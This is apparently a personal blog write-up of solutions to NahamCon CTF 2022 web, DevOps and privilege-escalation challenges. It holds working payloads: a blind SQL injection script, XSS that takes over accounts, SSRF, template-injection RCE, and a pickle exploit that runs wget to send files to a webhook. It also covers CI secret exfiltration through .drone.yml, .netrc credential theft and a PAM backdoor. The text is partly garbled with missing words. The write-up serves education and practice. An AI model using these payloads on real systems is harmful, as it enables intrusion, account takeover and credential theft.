Well it has been a really long time since I have updated my personal blog... I have been quite busy popping shells on machines, organising CTF events and banging my head trying to solve CTF challenges.
Speaking of banging ~~(no dirty innuendo here)~~,
NahamCon CTF 2022
was an absolute
banger
! Every challenge I did was well thought out, did not have any brain cell killing nonsense that you sometimes see in other CTFs and was just a bucket full of fun!
I participated with my CTF team,
PissedEmu
(named after a glorious drink in Western Australia), and together we were able to reach
10th place against over 3000+ teams
(great to see challenges about this since it is overlooked) and a
privilege escalation miscellaneous
challenges. The rest of this article I will explain my thought process and how I solved the following challenges.
Flaskmetal Alchemist
Two For One
Hacker Ts
Deafcon
Poller
DevOps
Poisoned
Gitops
Miscellaneous
Degradation
sqlalchemy
is a powerful python module for managing SQL databases that you can use by creating models and letting
sqlalchemy
or SQL database. It can also be used for
querying
data from those models, which is generally safe except for a few scenarios...
One of the unsafe scenarios is if
user input is directly inserted into the
order_by
method
! This is because sqlalchemy will just append
ORDER BY {user_input}
to the end of the of the query filter and
does not escape the user input
(cannot use prepared statements for
ORDER BY
statements)! Therefore, if a developer does not filter user input going into the function
order_by
then it is vulnerable to
SQL injection
We can see the web application is vulnerable by seeing that the
index()
route just whacks user input straight into
order_by
and is vulnerable to
SQL injection
metals = Metal.query.filter(Metal.name.like("%{}%".format(search))).order_by(text(order))
is executed.
src/app.py
@app
.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
search = ""
order = None
if "search" in request.form:
search = request.form["search"]
if "order" in request.form:
order = request.form["order"]
if order is None:
metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
else:
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order))
return render_template("home.html", metals=metals)
else:
metals = Metal.query.all()
return render_template("home.html", metals=metals)
So how do we exploit the
ORDER BY
SQL injection vulnerability? It is not as simple as appending
SELECT
, etc since after the
ORDER BY
clause these clauses will cause an error to be returned. However,
we can execute a different query and use the result of that query to change the result of the original query and construct a blind SQL injection attack
It is now time to introduce you all to the most OP
sqlite
function for performing blind
sqlite
injection attacks.
otherwise. You can use this to exfiltrate a flag from a column character by character, looking for results where you find the next character in a flag. For an example,
instr(flag, 'flag{a')
will return
if the next character in the flag is
, otherwise it returns
Knowing how
instr
functions, and the flag is located in the table
in the column
I constructed the following blind SQL injection payload.
1 LIMIT 0, 1|1000*(SELECT instr(flag, '{chars}') FROM flag)
How this works is when I find the next character in the flag, the upper
LIMIT
will by
and will dump all of the metals in the database. Otherwise, when I have not found the next character in the flag then the upper limit will only be
since
1000*0=0
(in case you skipped maths in highschool). This causes a very significant difference in the content length in the response that I can easily check to see if I found the correct next flag!
Putting it all together, below is the dirty solution code that I wrote.
import requests, threading, queue, string
import urllib.parse as url_parse
QUERY = "1 LIMIT 0, 1|1000*(SELECT instr(flag, '{chars}') FROM flag)"
THREADS = 20
TARGET = "<URL TO YOUR CHALLENGE INSTANCE>"
PREFIX = "flag{"
CHARS = "_" + string.ascii_lowercase + string.digits + string.ascii_uppercase + "}"
q = queue.Queue()
result_q = queue.Queue()
def worker():
while True:
chars = q.get()[0]
if chars == None:
break
query = QUERY.format(
chars=chars
r = requests.post(TARGET,data={"search":"","order":query})
if len(r.content) > 3480:
result_q.put((chars,))
q.task_done()
if __name__ == "__main__":
for c in CHARS:
q.put((PREFIX+c,))
threads = [
threading.Thread(target=worker, daemon=True)
for _t in range(THREADS)
t: threading.Thread
[t.start() for t in threads]
while True:
found_chars: str = result_q.get()[0]
print("FOUND CHARS:", found_chars)
for c in CHARS:
q.put((found_chars+c,))
result_q.task_done()
Executing the code above will leak the flag character by character as shown below.
Noice I can inject some HTML code, so I can probably execute some
inline Javascript and exploit a XSS vulnerability
(no Content Security Policy to stop me from doing that)!
However, I could not simply exfiltrate my victims session cookie since the site sets the cookie as
HttpOnly
... I will need to use other features on the website to be able to takeover the victim's account. Fortunately on the settings page, we could
reset the 2FA key
change passwords and only needing the 2FA one time password (OTP)
! This means that the attack methodology to take over the account is:
Reset the victim's 2FA key and exfiltrate the new key.
Using the OTP from step 1, change the password for the victim's account and login as them.
To do this, I used the Javascript function
fetch
for sending exfiltrated data to my web hook again. My first payload resets the victim's 2FA and sends the response to my webhook I can save the OTP key on my 2FA authenticator app.
<script>fetch("/reset2fa",{method:'post'}).then(r => r.text()).then((d) => {fetch("https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?otp="+btoa(d))});</script>
admin
account! For generating the QR code to scan with my authenticator app, I was lazy and just used the
QRious
javascript class that was already on the website.
Now all I needed to do was reset the admin's password and login. Using the OTP password I could do this by using the following payload which will change the
admin
password to
getyaaccounttakenoverlol
<script>fetch("/reset_password",{method:'post',headers:{'Content-Type':'application/json'},body:JSON.stringify({"password":"getyaaccounttakenoverlol","password2":"getyaaccounttakenoverlol","otp":"<PUT OTP HERE>"})});</script>
After waiting until the payload has been executed, I was able to login to the
admin
account and view the secret flag!
which was only accessible by `localhost
! Hmmm, I wonder if the T-Shirt page is vulnerable to
Server-Side Request Forgery (SSRF)
One method to check if it is vulnerable to SSRF is by seeing if you can execute Javascript code when the image of the t-shirt is generated. The payload below should overwrite the contents the document and would show on the generated image.
<script>document.write("noice nearly SSRF!");</script>
The first input to test would be the
GET parameter in the URL and visiting the page below with the above payload shows that we can execute Javascript code!
/exploit?text=<script>document.write("noice nearly SSRF!");</script>&color=%2324d600
Now the next thing I needed to figure out was how to exfiltrate the contents of the admin page. Ideally, I would use
fetch
but for the worst case scenarios I use
XMLHttpRequest
fetch
unable. To test which method works, I tried both of them to send a request to my webhook using the following payloads for
fetch
XMLHttpRequest
respectively.
Testing
fetch
I spent a good half an hour trying to figure out why my payload was not working. Then it finally clicked for me and realised I am a big doofus.
The issue with the above payload is the following part of the payload.
y.open('GET','https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?yeet'+btoa(x.responseText))
The character
before the
can also be the URL encoding for a space (
), which was exactly what was happening and breaking my payloads syntax. URL encoding the
fixes the problem and the following payload works!
<script>x=new XMLHttpRequest();x.onload=function(){y=new XMLHttpRequest();y.open('GET','https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?yeet'%2Bbtoa(x.responseText));y.send()};x.open('GET','http://localhost:5000/admin');x.send();</script>
I initally thought this would be an easy challenge and I can go straight to
Remote Code Execution
with the following payload as an email. I got the
payload from here
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}@yeet.com
Despite my super fast progress starting this challenge, I got stumped at this point for
hours
. Until I decided to test what happens if I put
special unicode characters 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
into the email.
normalised to Leonishan
! This means I might be able to bypass the WAF by finding alternative unicode characters for
. This is known as an
unicode normalisation attack
Reading
this great blog
about bypassing WAFs using unicode normalization attacks, I found that I could use the characters
and see if it bypassed the WAF.
Testing it with the following payload shows that I have got it!
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen⁽'id'⁾.read⁽⁾}}@yeet.com
Now I just need to find a way to execute commands with spaces since the
WAF also blocks emails with spaces in it
. The easiest way I used was having a seperate
parameter called
that I could retrieve by using
request.args.cmd
Full payload
/ticket?name=yeet&email={{self._TemplateReference__context.cycler.__init__.__globals__.os.popen⁽request.args.cmd⁾.read⁽⁾}}@yeet.com&cmd=cat flag.txt
I am not going to lie, I tripped up a few times doing this challenge. Fortunately I had a team mate that was noticing the little details that I missed that helped me solve the challenge.
Poller is website specifically for the infosec community to ask and answer questions.
At first I thought this was going to be another SQL injection challenge, since the website crashes and responds with a
status code if you modify choice ID for a question to an invalid one.
deserializes a string, you can deseralize it to an
arbtrary python object running custom code
! This means, if I can modify my session token with a
Pickle Deserialization payload
then I would get
However, in order to do this on Django I would need to know the
SECRET_KEY
to forge my malicious session token. I had a
quick glimpse at the previous commits
(this would bite my butt later), then decided to see if I can find another vulnerability I could exploit on the website.
I saw the the Django app also had
DEBUG
mode set to True, which is known for leaking sensitive information and
should be never used in an environment exposed on the internet
. However, I realised that this was not the method since I have made the website crash earlier and it did not show me any of the juicy information I wanted...
I then tried looking into other things such as decoding the session token to see if any sensitive information is leaked that way. The following code can be used to decode a Django
PickleSerialized
token.
import base64, zlib
TOKEN = ".eJxNjDsKwkAURbWwFMFVaDPMNy-l2LuG8Oa9GeOHBPIpBRcw5bgOt6iiQm55zuHeF4_n7Ltb3qRlheNQV2MfuurEOc1NTusJ80iX0LzFls_YHFtBbTN0Jy8-ifjZXhxaDtf9v11NDmrs65x2qgRTKJKWoADHDoL3OloVWYEMkZCwYI4E2pQlWKektqw1OkUmQpR5FC_xSj8w:1nkMcd:K4s7fhjnjSn2ix1AIyVKOg728TpKEIO5C0Te4PBIddE"
def b64_decode(s):
pad = b"=" * (len(s) % 4)
return base64.urlsafe_b64decode(s + pad)
value, sig = token.rsplit(':', 1)
base64d = value.encode()
decompress = base64d[:1] == b"."
if decompress:
base64d = base64d[1:]
data = b64_decode(base64d)
if decompress:
data = zlib.decompress(data)
print(pickle.loads(data))
However, I did not find anything besides the standard attributes in Django tokens...
Fortunately, my guardian angel saved me once again and decided to have a proper look at the commits in the repository.
Turns out I was a big monke for only glimpsing at the previous commits, because the new key was accidently leaked when the
developer
tried to copy the
file...
import os
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer
import os
SECRET_KEY = "77m6p#v&(wk_s2+n5na-bqe!m)^zu)9typ#0c&@qd%8o6!"
class Exploit():
def __reduce__(self):
return (os.system, ("""wget https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202?o=$(cat flag.txt|base64 -w0)""",))
print(signing.dumps(
Exploit(),
key=SECRET_KEY,
salt='django.contrib.sessions.backends.signed_cookies',
serializer=PickleSerializer
Now all I had to do was change my
sessionid
cookie to the payload and receive the flag being sent to my webhook!
For this challenge, I had access to a GiTea and Drone CI instance using the leaked credentials
developer:2!W4S5J$6e
. The goal of this challenge was to find a way to leak the secret
variable on the git repository
JustHacking/poisoned
but Drone CI redacts all secret variable values from its output. However, if I could modify
.drone.yml
I could exfiltrate the flag by sending the flag to my webhook.
I realised that I could
fork the repository
, modify
.drone.yml
create a pull request
to trigger my payload and get the flag!
- echo "Running from the $DRONE_BRANCH branch"
- echo "Flag -> $FLAG"
- wget "https://webhook.site/c6db1a4c-adad-4d53-b47e-3eee94940202/?flag=$FLAG"
environment:
FLAG:
from_secret: flag
trigger:
branch:
- master
Once again we have access to a GiTea and Drone CI instance with the leaked credentials
developer:2!W4S5J$6e
. However, this time the goal for the challenge is to execute code on a website that has
continuous deployment
setup on.
continuous integration
setup using Drone CI. Since the Drone CI instance needs to have access to the
repository it
needs to have
credentials that I could steal
! Using those
credentials I could self-approve the pull request and throw
software development lifecycle
practices out of the window!
Originally I popped a reverse shell by modifying the
.drone.yml
file to the one below.
However, due to laziness doing this writeup and not bothering to turn on my attack infra I will just tell you the juicy details. When you check the
$HOME
directory on the Drone CI instance, you can see the
credentials in the file
$HOME/.netrc
. Below I just used the
to exfiltrate the contents of
$HOME/.netrc
base64
encoded text.
Once everything does, I had a nice webshell on the website! My personal favourite is the
WhiteWinterWolf PHP Webshell
After SSHing into the box, I did the standard checks to see if I can exploit an existing program for privilege escalation (eg.
, sticky bit, crontab, running processes, etc). Nothing was useful until I check what files and folders the
has access to.
pam_unix.so
which is the library for authenticating users on Unix and add a backdoor password so I can log in as the
user!
There is an actually a tool for doing
this located here
. How this
pam_unix.so
backdoor works by patches the original source code with another password that you provide that it checks first before trying to authenticate the user with their original password. It then compiles the new
pam_unix.so
that you replace with the
/usr/lib/x86_64-linux-gnu/security/pam_unix.so
on the challenge instance.
I found that version 1.2.0 worked with creating the backdoor
pam_unix.so
and below I show how copied the
pam_unix.so
to the challenge instance and was able to login as
(including me goofing a little).